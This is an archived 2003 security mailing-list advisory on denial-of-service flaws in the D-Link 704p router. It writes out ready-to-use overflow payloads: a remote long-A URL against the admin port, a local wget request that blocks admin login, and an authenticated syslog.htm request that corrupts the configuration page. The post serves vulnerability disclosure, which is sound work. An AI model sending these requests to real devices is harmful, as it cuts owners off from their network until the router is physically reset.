D-Link 704p Broadband Router Remote / Local DoS

From: chris (chris@cr-secure.net)
Date: Wed Aug 06 2003 - 12:42:48 PDT

  • Next message: bugzillaat_private: "[Full-Disclosure] [RHSA-2003:251-01] New postfix packages fix security issues."

    
     ('binary' encoding is not supported, stored as-is)
    02 August 2003
    
    Hardware: D-Link 704p
    Vulnerability: Multiple Local/Remote (see below)
    Warning Level: Moderate
    
    Description:
    
    This small advisory is on the D-Link 704p router with firmware version 
    2.70. The router is a small 4 port DSL/CABLE router. Earlier this year I 
    made a small post on BUGTRAQ about the routers inability to handle local 
    long string URL's, those bugs and a -NEW REMOTE DoS- are included in this 
    advisory. I believe nessus even has a plugin for those small URL attacks. 
    I did notify D-Link and got no response :-/
    
    Yes this type of vulnerability isnt a high risk factor, but its irritating 
    to see how easily this device can be manipulated. This advisory has to do 
    with its inability to handle long string URL attacks from an unauthorized 
    and authorized user in multiple instances. These attacks are most likely 
    successful on other D-Link routers as well, provided their firmware is 
    based off the same core code. All of these attacks are based off the same 
    trailing URL string (continous A's), just injected in a different method.
    (URL's may not be formatted properly in this window)
    Attacks:
    
    #1.Un-Authorized Remote DoS
    
    704p can be configured to be remotely administered on a given port by a 
    given IP address. Goto the tools tab and look down the bottom. If you 
    leave this IP field blank as 0.0.0.0 any host can administer the device. I 
    choose port 8080.
    
    Thanks to my friend Scott we successfully DoS the router with one simple 
    URL. I had a constant ping to google setup 'ping -t google.com'. It 
    dropped the moment scott clicked the URL I had sent him in an IM and I 
    lost all internet connectivity.
    
    http://68.x.x.x:8080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAA
    
    The number of A's may vary from browser to browser, you can input more 
    from a program like wget in linux.
    wget http://68.x.x.x/AAAA (and so on for as long as you like.)
    
    The router is useless until physically reset by unplugging the power cord.
    
    
    #2. Local PW Change DoS
    
     Slightly changing the URL above from a local machine, The routers 
    administration page can be rendered unreachable until the machine is 
    physically rebooted. 
    
    wget 
    http://192.168.0.1/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAA
    
    Then point your browser to 192.168.0.1 (or whatever your gateway IP 
    address is set to). You will be prompted to enter your password. You can 
    enter your correct password all you like, until the device is rebooted 
    physically by unplugging the power cord you will not be able to 
    authenticate.
    
    #3. Local Configuration DoS / DNS Lookup
    
    wget --http-user=admin --http-passwd=password 
    http://192.168.0.1/syslog.htm?
    D=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAA
    
    This was tested and in some instances the routers configuration page 
    becomes unreachable if sent to many times, and oddly enough the router 
    performs a DNS lookup on 
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAat_private
    (amount of A's vary depending on the URL you used to send the device)
    
    After inserting the above long URL into your router, point your browser to 
    your configuration page. Sometimes the page is still reachable and your 
    configuration page will look like a bunch of repeating frames and you have 
    to reset the device in order to fix it.
    
    Comments:
    
    My guess is the long string URL's cause the device to overflow at some 
    point. I am at best an intermediate programmer, with no access to the code 
    of the firmware, so don't ask me. All I know is my device is no longer 
    setup for remote administration. I sent a copy of this to D-Link on 
    Saturday August 02 2003 (no response). Thanks!
    
    
    chris@cr-secure.net
    www.cr-secure.net
    



    This archive was generated by hypermail 2b30 : Wed Aug 06 2003 - 14:58:06 PDT